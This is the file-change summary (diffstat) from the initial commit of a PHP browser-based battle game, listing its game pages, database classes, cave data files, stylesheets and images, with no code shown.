From 46c75d1542d5b270d3f309c937f54f983ca3b915 Mon Sep 17 00:00:00 2001 From: lopar Date: Sun, 28 Jan 2018 18:40:49 +0200 Subject: [PATCH] initial commit --- .idea/battles-game.iml | 10 + .idea/composerJson.xml | 9 + .idea/modules.xml | 8 + .idea/vcs.xml | 6 + .idea/workspace.xml | 280 + 11city.php | 1170 +++ Database/Exception.php | 11 + Database/Mysql.php | 1040 +++ Database/Statement.php | 167 + Database/db.php | 31 + README.md | 29 + __modules/clan_modules/kazna.php | 147 + __modules/clan_modules/main.php | 117 + __modules/clan_panel.php | 105 + add_me.php | 193 + add_novyj_shmot.php | 126 + admin.php | 1009 +++ ahero_shop.php | 279 + ajax/change_login.php | 55 + ajax/clan_log.php | 18 + ajax/downgrade_art.php | 94 + ajax/fontan_luck.php | 339 + ajax/rate_ruins.php | 22 + ajax/update_art.php | 95 + ajax_hostel.php | 0 akadem.php | 206 + aren_of_angels.php | 214 + aren_of_angels2.php | 214 + ashop.php | 379 + backup/logs/battle3259.txt | 1 + backup/logs/battle3260.txt | 1 + backup/logs/battle3261.txt | 1 + backup/logs/battle3262.txt | 1 + backup/logs/battle3263.txt | 1 + backup/logs/battle3264.txt | 1 + backup/logs/battle3265.txt | 1 + bank.balans.php | 43 + bank.php | 912 +++ bankekr.php | 10 + battle.php | 275 + bench.php | 45 + bench_m.php | 28 + bench_s.php | 45 + blocknote.php | 71 + blog.log | 9 + boloto.php | 867 ++ boloto_vxod.php | 268 + bots_razmen.php | 0 bottom.html | 1 + bt.php | 101 + buttons.html | 0 buttons.php | 984 +++ c_forest.php | 120 + c_haos.php | 279 + c_haos_in.php | 432 + c_park.php | 249 + canalizaciya.php | 788 ++ canalization_mod.php | 195 + cave.php | 1405 ++++ cave/cave_bots.php | 21 + cave/caveitems.php | 12 + cave/lose.php | 22 + cave/win.php | 66 + cavedata.php | 5 + cavedata/0-.dat | 1 + cavedata/10019-1.dat | 1 + cavedata/10019-2.dat | 1 + cavedata/10019-3.dat | 1 + cavedata/10019-4.dat | 1 + cavedata/10022-.dat | 1 + cavedata/10022-1.dat | 1 + cavedata/10022-2.dat | 1 + cavedata/10022-3.dat | 1 + cavedata/10022-4.dat | 1 + cavedata/10029-1.dat | 1 + cavedata/10029-2.dat | 1 + cavedata/10029-3.dat | 1 + cavedata/10029-4.dat | 1 + cavedata/10035-1.dat | 1 + cavedata/10035-2.dat | 1 + cavedata/10035-3.dat | 1 + cavedata/10035-4.dat | 1 + cavedata/10036-1.dat | 1 + cavedata/10038-1.dat | 1 + cavedata/10038-2.dat | 1 + cavedata/10038-3.dat | 1 + cavedata/10038-4.dat | 1 + cavedata/10041-1.dat | 1 + cavedata/10041-2.dat | 1 + cavedata/10041-3.dat | 1 + cavedata/10041-4.dat | 1 + cavedata/10044-1.dat | 1 + cavedata/10044-2.dat | 1 + cavedata/10044-3.dat | 1 + cavedata/10044-4.dat | 1 + cavedata/10045-1.dat | 1 + cavedata/10045-2.dat | 1 + cavedata/10045-3.dat | 1 + cavedata/10045-4.dat | 1 + cavedata/10046-1.dat | 1 + cavedata/10046-2.dat | 1 + cavedata/10046-3.dat | 1 + cavedata/10046-4.dat | 1 + cavedata/10048-1.dat | 1 + cavedata/10048-2.dat | 1 + cavedata/10048-3.dat | 1 + cavedata/10048-4.dat | 1 + cavedata/10050-1.dat | 1 + cavedata/10050-2.dat | 1 + cavedata/10050-3.dat | 1 + cavedata/10050-4.dat | 1 + cavedata/10051-1.dat | 1 + cavedata/10051-2.dat | 1 + cavedata/10051-3.dat | 1 + cavedata/10051-4.dat | 1 + cavedata/10055-1.dat | 1 + cavedata/10055-2.dat | 1 + cavedata/10055-3.dat | 1 + cavedata/10055-4.dat | 1 + cavedata/10061-1.dat | 1 + cavedata/10061-2.dat | 1 + cavedata/10061-3.dat | 1 + cavedata/10061-4.dat | 1 + cavedata/10062-1.dat | 1 + cavedata/10062-2.dat | 1 + cavedata/10062-3.dat | 1 + cavedata/10062-4.dat | 1 + cavedata/10063-1.dat | 1 + cavedata/10063-2.dat | 1 + cavedata/10063-3.dat | 1 + cavedata/10063-4.dat | 1 + cavedata/10065-1.dat | 1 + cavedata/10065-2.dat | 1 + cavedata/10065-3.dat | 1 + cavedata/10065-4.dat | 1 + cavedata/10066-1.dat | 1 + cavedata/10066-2.dat | 1 + cavedata/10066-3.dat | 1 + cavedata/10066-4.dat | 1 + cavedata/10067-1.dat | 1 + cavedata/10067-2.dat | 1 + cavedata/10067-3.dat | 1 + cavedata/10067-4.dat | 1 + cavedata/10068-1.dat | 1 + cavedata/10068-2.dat | 1 + cavedata/10068-3.dat | 1 + cavedata/10068-4.dat | 1 + cavedata/10069-1.dat | 1 + cavedata/10069-2.dat | 1 + cavedata/10069-3.dat | 1 + cavedata/10069-4.dat | 1 + cavedata/10071-1.dat | 1 + cavedata/10071-2.dat | 1 + cavedata/10071-3.dat | 1 + cavedata/10071-4.dat | 1 + cavedata/10072-1.dat | 1 + cavedata/10072-2.dat | 1 + cavedata/10072-3.dat | 1 + cavedata/10072-4.dat | 1 + cavedata/10075-1.dat | 1 + cavedata/10075-2.dat | 1 + cavedata/10075-3.dat | 1 + cavedata/10075-4.dat | 1 + cavedata/10079-1.dat | 1 + cavedata/10079-2.dat | 1 + cavedata/10079-3.dat | 1 + cavedata/10079-4.dat | 1 + cavedata/10080-1.dat | 1 + cavedata/10080-2.dat | 1 + cavedata/10080-3.dat | 1 + cavedata/10080-4.dat | 1 + cavedata/10082-1.dat | 1 + cavedata/10082-2.dat | 1 + cavedata/10082-3.dat | 1 + cavedata/10082-4.dat | 1 + cavedata/10084-1.dat | 1 + cavedata/10084-2.dat | 1 + cavedata/10084-3.dat | 1 + cavedata/10084-4.dat | 1 + cavedata/10085-1.dat | 1 + cavedata/10085-2.dat | 1 + cavedata/10085-3.dat | 1 + cavedata/10085-4.dat | 1 + cavedata/10087-1.dat | 1 + cavedata/10087-2.dat | 1 + cavedata/10087-3.dat | 1 + cavedata/10087-4.dat | 1 + cavedata/10091-1.dat | 1 + cavedata/10091-2.dat | 1 + cavedata/10091-3.dat | 1 + cavedata/10091-4.dat | 1 + cavedata/10095-1.dat | 1 + cavedata/10095-2.dat | 1 + cavedata/10095-3.dat | 1 + cavedata/10095-4.dat | 1 + cavedata/10119-1.dat | 1 + cavedata/10119-2.dat | 1 + cavedata/10119-3.dat | 1 + cavedata/10119-4.dat | 1 + cavedata/10122-1.dat | 1 + cavedata/10122-2.dat | 1 + cavedata/10122-3.dat | 1 + cavedata/10122-4.dat | 1 + cavedata/10133-1.dat | 1 + cavedata/10133-2.dat | 1 + cavedata/10133-3.dat | 1 + cavedata/10133-4.dat | 1 + cavedata/10140-1.dat | 1 + cavedata/10140-2.dat | 1 + cavedata/10140-3.dat | 1 + cavedata/10140-4.dat | 1 + cavedata/10142-1.dat | 1 + cavedata/10142-2.dat | 1 + cavedata/10142-3.dat | 1 + cavedata/10142-4.dat | 1 + cavedata/10144-1.dat | 1 + cavedata/10144-2.dat | 1 + cavedata/10144-3.dat | 1 + cavedata/10144-4.dat | 1 + cavedata/10149-1.dat | 1 + cavedata/10149-2.dat | 1 + cavedata/10149-3.dat | 1 + cavedata/10149-4.dat | 1 + cavedata/10151-1.dat | 1 + cavedata/10151-2.dat | 1 + cavedata/10151-3.dat | 1 + cavedata/10151-4.dat | 1 + cavedata/10155-1.dat | 1 + cavedata/10155-2.dat | 1 + cavedata/10155-3.dat | 1 + cavedata/10155-4.dat | 1 + cavedata/10163-1.dat | 1 + cavedata/10163-2.dat | 1 + cavedata/10163-3.dat | 1 + cavedata/10163-4.dat | 1 + cavedata/10165-1.dat | 1 + cavedata/10165-2.dat | 1 + cavedata/10165-3.dat | 1 + cavedata/10165-4.dat | 1 + cavedata/10205-1.dat | 1 + cavedata/10205-2.dat | 1 + cavedata/10205-3.dat | 1 + cavedata/10205-4.dat | 1 + cavedata/10219-1.dat | 1 + cavedata/10219-2.dat | 1 + cavedata/10219-3.dat | 1 + cavedata/10219-4.dat | 1 + cavedata/10225-1.dat | 1 + cavedata/10225-2.dat | 1 + cavedata/10225-3.dat | 1 + cavedata/10225-4.dat | 1 + cavedata/10240-1.dat | 1 + cavedata/10240-2.dat | 1 + cavedata/10240-3.dat | 1 + cavedata/10240-4.dat | 1 + cavedata/10242-1.dat | 1 + cavedata/10242-2.dat | 1 + cavedata/10242-3.dat | 1 + cavedata/10242-4.dat | 1 + cavedata/10244-1.dat | 1 + cavedata/10244-2.dat | 1 + cavedata/10244-3.dat | 1 + cavedata/10244-4.dat | 1 + cavedata/10245-1.dat | 1 + cavedata/10245-2.dat | 1 + cavedata/10245-3.dat | 1 + cavedata/10245-4.dat | 1 + cavedata/10246-1.dat | 1 + cavedata/10246-2.dat | 1 + cavedata/10246-3.dat | 1 + cavedata/10246-4.dat | 1 + cavedata/10247-1.dat | 1 + cavedata/10247-2.dat | 1 + cavedata/10247-3.dat | 1 + cavedata/10247-4.dat | 1 + cavedata/10248-1.dat | 1 + cavedata/10248-2.dat | 1 + cavedata/10248-3.dat | 1 + cavedata/10248-4.dat | 1 + cavedata/10250-1.dat | 1 + cavedata/10250-2.dat | 1 + cavedata/10250-3.dat | 1 + cavedata/10250-4.dat | 1 + cavedata/10251-1.dat | 1 + cavedata/10251-2.dat | 1 + cavedata/10251-3.dat | 1 + cavedata/10251-4.dat | 1 + cavedata/10253-1.dat | 1 + cavedata/10253-2.dat | 1 + cavedata/10253-3.dat | 1 + cavedata/10253-4.dat | 1 + cavedata/10254-1.dat | 1 + cavedata/10254-2.dat | 1 + cavedata/10254-3.dat | 1 + cavedata/10254-4.dat | 1 + cavedata/10255-1.dat | 1 + cavedata/10255-2.dat | 1 + cavedata/10255-3.dat | 1 + cavedata/10255-4.dat | 1 + cavedata/10256-1.dat | 1 + cavedata/10256-2.dat | 1 + cavedata/10256-3.dat | 1 + cavedata/10256-4.dat | 1 + cavedata/10257-1.dat | 1 + cavedata/10257-2.dat | 1 + cavedata/10257-3.dat | 1 + cavedata/10257-4.dat | 1 + cavedata/10258-1.dat | 1 + cavedata/10258-2.dat | 1 + cavedata/10258-3.dat | 1 + cavedata/10258-4.dat | 1 + cavedata/10259-1.dat | 1 + cavedata/10259-2.dat | 1 + cavedata/10259-3.dat | 1 + cavedata/10259-4.dat | 1 + cavedata/10261-1.dat | 1 + cavedata/10261-2.dat | 1 + cavedata/10261-3.dat | 1 + cavedata/10261-4.dat | 1 + cavedata/10263-1.dat | 1 + cavedata/10263-2.dat | 1 + cavedata/10263-3.dat | 1 + cavedata/10263-4.dat | 1 + cavedata/10267-1.dat | 1 + cavedata/10267-2.dat | 1 + cavedata/10267-3.dat | 1 + cavedata/10267-4.dat | 1 + cavedata/10268-1.dat | 1 + cavedata/10268-2.dat | 1 + cavedata/10268-3.dat | 1 + cavedata/10268-4.dat | 1 + cavedata/10269-1.dat | 1 + cavedata/10269-2.dat | 1 + cavedata/10269-3.dat | 1 + cavedata/10269-4.dat | 1 + cavedata/10271-1.dat | 1 + cavedata/10271-2.dat | 1 + cavedata/10271-3.dat | 1 + cavedata/10271-4.dat | 1 + cavedata/10272-1.dat | 1 + cavedata/10272-2.dat | 1 + cavedata/10272-3.dat | 1 + cavedata/10272-4.dat | 1 + cavedata/10273-1.dat | 1 + cavedata/10273-2.dat | 1 + cavedata/10273-3.dat | 1 + cavedata/10273-4.dat | 1 + cavedata/10274-1.dat | 1 + cavedata/10274-2.dat | 1 + cavedata/10274-3.dat | 1 + cavedata/10274-4.dat | 1 + cavedata/10275-1.dat | 1 + cavedata/10275-2.dat | 1 + cavedata/10275-3.dat | 1 + cavedata/10275-4.dat | 1 + cavedata/10276-1.dat | 1 + cavedata/10276-2.dat | 1 + cavedata/10276-3.dat | 1 + cavedata/10276-4.dat | 1 + cavedata/10277-1.dat | 1 + cavedata/10277-2.dat | 1 + cavedata/10277-3.dat | 1 + cavedata/10277-4.dat | 1 + cavedata/10279-1.dat | 1 + cavedata/10279-2.dat | 1 + cavedata/10279-3.dat | 1 + cavedata/10279-4.dat | 1 + cavedata/10280-1.dat | 1 + cavedata/10280-2.dat | 1 + cavedata/10280-3.dat | 1 + cavedata/10280-4.dat | 1 + cavedata/10281-1.dat | 1 + cavedata/10281-2.dat | 1 + cavedata/10281-3.dat | 1 + cavedata/10281-4.dat | 1 + cavedata/10284-1.dat | 1 + cavedata/10284-2.dat | 1 + cavedata/10284-3.dat | 1 + cavedata/10284-4.dat | 1 + cavedata/10285-1.dat | 1 + cavedata/10285-2.dat | 1 + cavedata/10285-3.dat | 1 + cavedata/10285-4.dat | 1 + cavedata/10294-1.dat | 1 + cavedata/10294-2.dat | 1 + cavedata/10294-3.dat | 1 + cavedata/10294-4.dat | 1 + cavedata/10299-1.dat | 1 + cavedata/10299-2.dat | 1 + cavedata/10299-3.dat | 1 + cavedata/10299-4.dat | 1 + cavedata/10300-1.dat | 1 + cavedata/10300-2.dat | 1 + cavedata/10300-3.dat | 1 + cavedata/10300-4.dat | 1 + cavedata/10302-1.dat | 1 + cavedata/10302-2.dat | 1 + cavedata/10302-3.dat | 1 + cavedata/10302-4.dat | 1 + cavedata/10303-1.dat | 1 + cavedata/10303-2.dat | 1 + cavedata/10303-3.dat | 1 + cavedata/10303-4.dat | 1 + cavedata/10304-1.dat | 1 + cavedata/10304-2.dat | 1 + cavedata/10304-3.dat | 1 + cavedata/10304-4.dat | 1 + cavedata/10309-1.dat | 1 + cavedata/10309-2.dat | 1 + cavedata/10309-3.dat | 1 + cavedata/10309-4.dat | 1 + cavedata/10310-1.dat | 1 + cavedata/10310-2.dat | 1 + cavedata/10310-3.dat | 1 + cavedata/10310-4.dat | 1 + cavedata/10312-1.dat | 1 + cavedata/10312-2.dat | 1 + cavedata/10312-3.dat | 1 + cavedata/10312-4.dat | 1 + cavedata/10314-1.dat | 1 + cavedata/10314-2.dat | 1 + cavedata/10314-3.dat | 1 + cavedata/10314-4.dat | 1 + cavedata/10316-1.dat | 1 + cavedata/10316-2.dat | 1 + cavedata/10316-3.dat | 1 + cavedata/10316-4.dat | 1 + cavedata/10318-1.dat | 1 + cavedata/10318-2.dat | 1 + cavedata/10318-3.dat | 1 + cavedata/10318-4.dat | 1 + cavedata/10320-1.dat | 1 + cavedata/10320-2.dat | 1 + cavedata/10320-3.dat | 1 + cavedata/10320-4.dat | 1 + cavedata/10321-1.dat | 1 + cavedata/10321-2.dat | 1 + cavedata/10321-3.dat | 1 + cavedata/10321-4.dat | 1 + cavedata/10324-1.dat | 1 + cavedata/10324-2.dat | 1 + cavedata/10324-3.dat | 1 + cavedata/10324-4.dat | 1 + cavedata/10329-1.dat | 1 + cavedata/10329-2.dat | 1 + cavedata/10329-3.dat | 1 + cavedata/10329-4.dat | 1 + cavedata/10330-1.dat | 1 + cavedata/10330-2.dat | 1 + cavedata/10330-3.dat | 1 + cavedata/10330-4.dat | 1 + cavedata/10338-1.dat | 1 + cavedata/10338-2.dat | 1 + cavedata/10338-3.dat | 1 + cavedata/10338-4.dat | 1 + cavedata/10339-1.dat | 1 + cavedata/10339-2.dat | 1 + cavedata/10339-3.dat | 1 + cavedata/10339-4.dat | 1 + cavedata/10341-1.dat | 1 + cavedata/10341-2.dat | 1 + cavedata/10341-3.dat | 1 + cavedata/10341-4.dat | 1 + cavedata/10342-1.dat | 1 + cavedata/10342-2.dat | 1 + cavedata/10342-3.dat | 1 + cavedata/10342-4.dat | 1 + cavedata/10345-1.dat | 1 + cavedata/10345-2.dat | 1 + cavedata/10345-3.dat | 1 + cavedata/10345-4.dat | 1 + cavedata/10346-1.dat | 1 + cavedata/10346-2.dat | 1 + cavedata/10346-3.dat | 1 + cavedata/10346-4.dat | 1 + cavedata/10350-1.dat | 1 + cavedata/10350-2.dat | 1 + cavedata/10350-3.dat | 1 + cavedata/10350-4.dat | 1 + cavedata/10358-1.dat | 1 + cavedata/10358-2.dat | 1 + cavedata/10358-3.dat | 1 + cavedata/10358-4.dat | 1 + cavedata/10360-1.dat | 1 + cavedata/10360-2.dat | 1 + cavedata/10360-3.dat | 1 + cavedata/10360-4.dat | 1 + cavedata/10368-1.dat | 1 + cavedata/10368-2.dat | 1 + cavedata/10368-3.dat | 1 + cavedata/10368-4.dat | 1 + cavedata/10376-1.dat | 1 + cavedata/10376-2.dat | 1 + cavedata/10376-3.dat | 1 + cavedata/10376-4.dat | 1 + cavedata/10377-1.dat | 1 + cavedata/10377-2.dat | 1 + cavedata/10377-3.dat | 1 + cavedata/10377-4.dat | 1 + cavedata/10389-1.dat | 1 + cavedata/10389-2.dat | 1 + cavedata/10389-3.dat | 1 + cavedata/10389-4.dat | 1 + cavedata/10394-1.dat | 1 + cavedata/10394-2.dat | 1 + cavedata/10394-3.dat | 1 + cavedata/10394-4.dat | 1 + cavedata/10395-1.dat | 1 + cavedata/10395-2.dat | 1 + cavedata/10395-3.dat | 1 + cavedata/10395-4.dat | 1 + cavedata/10408-1.dat | 1 + cavedata/10408-2.dat | 1 + cavedata/10408-3.dat | 1 + cavedata/10408-4.dat | 1 + cavedata/10411-1.dat | 1 + cavedata/10411-2.dat | 1 + cavedata/10411-3.dat | 1 + cavedata/10411-4.dat | 1 + cavedata/10413-1.dat | 1 + cavedata/10413-2.dat | 1 + cavedata/10413-3.dat | 1 + cavedata/10413-4.dat | 1 + cavedata/10430-1.dat | 1 + cavedata/10430-2.dat | 1 + cavedata/10430-3.dat | 1 + cavedata/10430-4.dat | 1 + cavedata/10446-1.dat | 1 + cavedata/10446-2.dat | 1 + cavedata/10446-3.dat | 1 + cavedata/10446-4.dat | 1 + cavedata/10468-1.dat | 1 + cavedata/10468-2.dat | 1 + cavedata/10468-3.dat | 1 + cavedata/10468-4.dat | 1 + cavedata/10472-1.dat | 1 + cavedata/10472-2.dat | 1 + cavedata/10472-3.dat | 1 + cavedata/10472-4.dat | 1 + cavedata/10742-1.dat | 1 + cavedata/10742-2.dat | 1 + cavedata/10742-3.dat | 1 + cavedata/10742-4.dat | 1 + cavedata/10745-1.dat | 1 + cavedata/10745-2.dat | 1 + cavedata/10745-3.dat | 1 + cavedata/10745-4.dat | 1 + cavedata/10746-1.dat | 1 + cavedata/10746-2.dat | 1 + cavedata/10746-3.dat | 1 + cavedata/10746-4.dat | 1 + cavedata/10755-1.dat | 1 + cavedata/10755-2.dat | 1 + cavedata/10755-3.dat | 1 + cavedata/10755-4.dat | 1 + cavedata/10768-1.dat | 1 + cavedata/10768-2.dat | 1 + cavedata/10768-3.dat | 1 + cavedata/10768-4.dat | 1 + cavedata/10775-1.dat | 1 + cavedata/10775-2.dat | 1 + cavedata/10775-3.dat | 1 + cavedata/10775-4.dat | 1 + cavedata/10796-1.dat | 1 + cavedata/10796-2.dat | 1 + cavedata/10796-3.dat | 1 + cavedata/10796-4.dat | 1 + cavedata/10804-1.dat | 1 + cavedata/10804-2.dat | 1 + cavedata/10804-3.dat | 1 + cavedata/10804-4.dat | 1 + cavedata/10832-1.dat | 1 + cavedata/10832-2.dat | 1 + cavedata/10832-3.dat | 1 + cavedata/10832-4.dat | 1 + cavedata/10869-1.dat | 1 + cavedata/10869-2.dat | 1 + cavedata/10869-3.dat | 1 + cavedata/10869-4.dat | 1 + cavedata/10871-1.dat | 1 + cavedata/10871-2.dat | 1 + cavedata/10871-3.dat | 1 + cavedata/10871-4.dat | 1 + cavedata/10872-1.dat | 1 + cavedata/10872-2.dat | 1 + cavedata/10872-3.dat | 1 + cavedata/10872-4.dat | 1 + cavedata/10878-1.dat | 1 + cavedata/10878-2.dat | 1 + cavedata/10878-3.dat | 1 + cavedata/10878-4.dat | 1 + cavedata/10880-1.dat | 1 + cavedata/10880-2.dat | 1 + cavedata/10880-3.dat | 1 + cavedata/10880-4.dat | 1 + cavedata/10881-1.dat | 1 + cavedata/10881-2.dat | 1 + cavedata/10881-3.dat | 1 + cavedata/10881-4.dat | 1 + cavedata/10882-1.dat | 1 + cavedata/10882-2.dat | 1 + cavedata/10882-3.dat | 1 + cavedata/10882-4.dat | 1 + cavedata/10897-1.dat | 1 + cavedata/10897-2.dat | 1 + cavedata/10897-3.dat | 1 + cavedata/10897-4.dat | 1 + cavedata/10900-1.dat | 1 + cavedata/10900-2.dat | 1 + cavedata/10900-3.dat | 1 + cavedata/10900-4.dat | 1 + cavedata/10901-1.dat | 1 + cavedata/10901-2.dat | 1 + cavedata/10901-3.dat | 1 + cavedata/10901-4.dat | 1 + cavedata/10906-1.dat | 1 + cavedata/10906-2.dat | 1 + cavedata/10906-3.dat | 1 + cavedata/10906-4.dat | 1 + cavedata/10910-1.dat | 1 + cavedata/10910-2.dat | 1 + cavedata/10910-3.dat | 1 + cavedata/10910-4.dat | 1 + cavedata/10914-1.dat | 1 + cavedata/10914-2.dat | 1 + cavedata/10914-3.dat | 1 + cavedata/10914-4.dat | 1 + cavedata/10917-1.dat | 1 + cavedata/10917-2.dat | 1 + cavedata/10917-3.dat | 1 + cavedata/10917-4.dat | 1 + cavedata/10930-1.dat | 1 + cavedata/10930-2.dat | 1 + cavedata/10930-3.dat | 1 + cavedata/10930-4.dat | 1 + cavedata/10933-1.dat | 1 + cavedata/10933-2.dat | 1 + cavedata/10933-3.dat | 1 + cavedata/10933-4.dat | 1 + cavedata/10935-1.dat | 1 + cavedata/10935-2.dat | 1 + cavedata/10935-3.dat | 1 + cavedata/10935-4.dat | 1 + cavedata/10936-1.dat | 1 + cavedata/10936-2.dat | 1 + cavedata/10936-3.dat | 1 + cavedata/10936-4.dat | 1 + cavedata/10939-1.dat | 1 + cavedata/10939-2.dat | 1 + cavedata/10939-3.dat | 1 + cavedata/10939-4.dat | 1 + cavedata/10947-1.dat | 1 + cavedata/10947-2.dat | 1 + cavedata/10947-3.dat | 1 + cavedata/10947-4.dat | 1 + cavedata/10954-1.dat | 1 + cavedata/10954-2.dat | 1 + cavedata/10954-3.dat | 1 + cavedata/10954-4.dat | 1 + cavedata/10956-1.dat | 1 + cavedata/10956-2.dat | 1 + cavedata/10956-3.dat | 1 + cavedata/10956-4.dat | 1 + cavedata/11035-1.dat | 1 + cavedata/11035-2.dat | 1 + cavedata/11035-3.dat | 1 + cavedata/11035-4.dat | 1 + cavedata/11039-1.dat | 1 + cavedata/11039-2.dat | 1 + cavedata/11039-3.dat | 1 + cavedata/11039-4.dat | 1 + cavedata/11044-1.dat | 1 + cavedata/11044-2.dat | 1 + cavedata/11044-3.dat | 1 + cavedata/11044-4.dat | 1 + cavedata/11045-1.dat | 1 + cavedata/11045-2.dat | 1 + cavedata/11045-3.dat | 1 + cavedata/11045-4.dat | 1 + cavedata/11065-1.dat | 1 + cavedata/11065-2.dat | 1 + cavedata/11065-3.dat | 1 + cavedata/11065-4.dat | 1 + cavedata/11085-1.dat | 1 + cavedata/11085-2.dat | 1 + cavedata/11085-3.dat | 1 + cavedata/11085-4.dat | 1 + cavedata/11103-1.dat | 1 + cavedata/11103-2.dat | 1 + cavedata/11103-3.dat | 1 + cavedata/11103-4.dat | 1 + cavedata/11118-1.dat | 1 + cavedata/11118-2.dat | 1 + cavedata/11118-3.dat | 1 + cavedata/11118-4.dat | 1 + cavedata/11160-1.dat | 1 + cavedata/11160-2.dat | 1 + cavedata/11160-3.dat | 1 + cavedata/11160-4.dat | 1 + cavedata/11174-1.dat | 1 + cavedata/11174-2.dat | 1 + cavedata/11174-3.dat | 1 + cavedata/11174-4.dat | 1 + cavedata/11180-1.dat | 1 + cavedata/11180-2.dat | 1 + cavedata/11180-3.dat | 1 + cavedata/11180-4.dat | 1 + cavedata/11188-1.dat | 1 + cavedata/11188-2.dat | 1 + cavedata/11188-3.dat | 1 + cavedata/11188-4.dat | 1 + cavedata/11238-1.dat | 1 + cavedata/11238-2.dat | 1 + cavedata/11238-3.dat | 1 + cavedata/11238-4.dat | 1 + cavedata/11240-1.dat | 1 + cavedata/11240-2.dat | 1 + cavedata/11240-3.dat | 1 + cavedata/11240-4.dat | 1 + cavedata/777-1.dat | 1 + cavedata/777-2.dat | 1 + cavedata/777-3.dat | 1 + cavedata/777-4.dat | 1 + cavedata/9079-1.dat | 1 + cavedata/9079-2.dat | 1 + cavedata/9079-3.dat | 1 + cavedata/9079-4.dat | 1 + cavedata/9080-1.dat | 1 + cavedata/9080-2.dat | 1 + cavedata/9080-3.dat | 1 + cavedata/9080-4.dat | 1 + cavedata/9081-1.dat | 1 + cavedata/9081-2.dat | 1 + cavedata/9081-3.dat | 1 + cavedata/9081-4.dat | 1 + cavedata/9082-1.dat | 1 + cavedata/9082-2.dat | 1 + cavedata/9082-3.dat | 1 + cavedata/9082-4.dat | 1 + cavedata/9086-1.dat | 1 + cavedata/9086-2.dat | 1 + cavedata/9086-3.dat | 1 + cavedata/9086-4.dat | 1 + cavedata/9087-1.dat | 1 + cavedata/9087-2.dat | 1 + cavedata/9087-3.dat | 1 + cavedata/9087-4.dat | 1 + ch.php | 581 ++ change_stuff.php | 61 + chat.html | 14 + chats.php | 47 + checkpoint.php | 24 + church.php | 424 + city.php | 1167 +++ clan_castle.php | 329 + clan_log.php | 131 + classes/MysqliDb.php | 1419 ++++ classes/battle_new.class.php | 1995 +++++ classes/cave/cave_bots.php | 5 + classes/cave/caveitems.php | 12 + classes/cave/lose.php | 23 + classes/cave/win.php | 60 + classes/class.upload.php | 4998 ++++++++++++ classes/fbattle.php | 470 ++ classes/filter_class.php | 160 + classes/quests_class.php | 590 ++ classes/utils_class.php | 88 + classturnir.php | 523 ++ comission.php | 391 + config.php | 43 + confirmpassw.php | 28 + confpassbank.php | 57 + cron.php | 534 ++ cron2.php | 1016 +++ cron_bots.php | 73 + cron_bots__battle.php | 1542 ++++ cron_bots_battle.php | 1542 ++++ cron_bs.php | 7 + cron_test.php | 971 +++ cron_zv.php | 225 + css/2/buttons.css | 5 + css/2/chat.css | 1 + css/2/design2.css | 104 + css/2/design6.css | 207 + css/2/dungeon_cs.css | 57 + css/2/dungeon_css.css | 57 + css/2/dungeon_gy0.css | 62 + css/2/dungeon_kn4.css | 57 + css/2/dungeon_sn.css | 62 + css/2/dungeon_sun.css | 62 + css/2/dungeon_uq.css | 57 + css/2/main.css | 6 + css/2/reg.css | 1 + css/bkstyle.css | 520 ++ css/contact.css | 21 + css/design4.css | 99 + css/event.css | 121 + css/fightclub.css | 250 + css/forum.css | 164 + css/friend/design3.css | 99 + css/friend/main.css | 40 + css/hostel.css | 243 + css/main.css | 1010 +++ css/mi.css | 47 + css/newstyle18.css | 1 + css/newstyle_loc4.css | 1 + css/rating.css | 87 + css/style.css | 54 + css/tooltip.css | 15 + css/wysibb/theme/default/img/icons.png | Bin 0 -> 5075 bytes css/wysibb/theme/default/img/imgpreview.png | Bin 0 -> 1621 bytes css/wysibb/theme/default/img/loader.gif | Bin 0 -> 7839 bytes css/wysibb/theme/default/img/smiles/sm1.png | Bin 0 -> 1394 bytes css/wysibb/theme/default/img/smiles/sm2.png | Bin 0 -> 1420 bytes css/wysibb/theme/default/img/smiles/sm3.png | Bin 0 -> 1457 bytes css/wysibb/theme/default/img/smiles/sm4.png | Bin 0 -> 1353 bytes css/wysibb/theme/default/img/smiles/sm5.png | Bin 0 -> 1321 bytes css/wysibb/theme/default/img/smiles/sm6.png | Bin 0 -> 1423 bytes css/wysibb/theme/default/img/smiles/sm7.png | Bin 0 -> 1426 bytes css/wysibb/theme/default/img/smiles/sm8.png | Bin 0 -> 1405 bytes css/wysibb/theme/default/img/smiles/sm9.png | Bin 0 -> 1322 bytes css/wysibb/theme/default/img/vert.png | Bin 0 -> 956 bytes css/wysibb/theme/default/img/wysibb.png | Bin 0 -> 1241 bytes css/wysibb/theme/default/wbbtheme.css | 913 +++ css/wysibb/theme/fonts/WysiBBiconFontAH.eot | Bin 0 -> 9032 bytes css/wysibb/theme/fonts/WysiBBiconFontAH.otf | Bin 0 -> 8596 bytes css/wysibb/theme/fonts/WysiBBiconFontAH.svg | 112 + css/wysibb/theme/fonts/WysiBBiconFontAH.ttf | Bin 0 -> 8840 bytes css/wysibb/theme/fonts/WysiBBiconFontAH.woff | Bin 0 -> 4548 bytes daemons/arch_.php | 188 + daemons/hellround.php | 121 + daemons/var/log/arch.log | 0 data/contact.php | 74 + deal.php | 268 + dealer.php | 236 + design/css/css/fight.css | 422 + design/css/fight.css | 476 ++ design/i/background-buttons-center.png | Bin 0 -> 13429 bytes design/i/background-buttons-left.png | Bin 0 -> 13940 bytes design/i/background-buttons-right.png | Bin 0 -> 13755 bytes design/i/background-chat-center.png | Bin 0 -> 8531 bytes design/i/background-chat-hr-left.png | Bin 0 -> 8307 bytes design/i/background-chat-hr-right.png | Bin 0 -> 8078 bytes design/i/background-chat-left.png | Bin 0 -> 14693 bytes design/i/background-chat-right.png | Bin 0 -> 14271 bytes design/i/background-left.png | Bin 0 -> 10120 bytes design/i/background-right.png | Bin 0 -> 9875 bytes design/i/background-top-center.png | Bin 0 -> 14009 bytes design/i/background-top-left.png | Bin 0 -> 17764 bytes design/i/background-top-right.png | Bin 0 -> 16864 bytes design/i/background-top.png | Bin 0 -> 4090 bytes design/i/bk-logo-top.png | Bin 0 -> 18420 bytes design/i/button_refresh_h.png | Bin 0 -> 2104 bytes design/i/button_refresh_n.png | Bin 0 -> 2066 bytes design/i/button_refresh_p.png | Bin 0 -> 1683 bytes design/i/buttons/a___ext.gif | Bin 0 -> 594 bytes design/i/buttons/a___inv.gif | Bin 0 -> 583 bytes design/i/buttons/a__forum.gif | Bin 0 -> 1548 bytes design/i/buttons/b___.gif | Bin 0 -> 574 bytes design/i/buttons/b___filter_off.gif | Bin 0 -> 520 bytes design/i/buttons/b___slow_off.gif | Bin 0 -> 573 bytes design/i/buttons/b___smile.gif | Bin 0 -> 571 bytes 